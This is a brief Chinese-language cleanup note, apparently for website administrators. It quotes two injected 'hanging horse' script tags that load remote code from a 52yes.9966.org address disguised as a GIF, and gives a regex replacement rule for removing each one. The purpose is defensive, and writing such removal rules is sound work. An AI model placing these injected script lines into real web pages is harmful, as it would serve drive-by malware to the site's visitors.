挂马内容如下: 

程序代码 
document.writeln("<script src=http:\/\/52yes.9966.org:10086\/images\/1.gif?KRKJ><\/script>"); 

替换规则如下: 

程序代码 
@document\.writeln\("<script.*9966\.org.*\/script>"\); 


挂马内容如下: 

程序代码 
<script src=http://52yes.9966.org:10086/images/1.gif?VINIJ></script> 

替换规则如下: 

程序代码 
@<script[^<]*9966\.org[^<]*</script>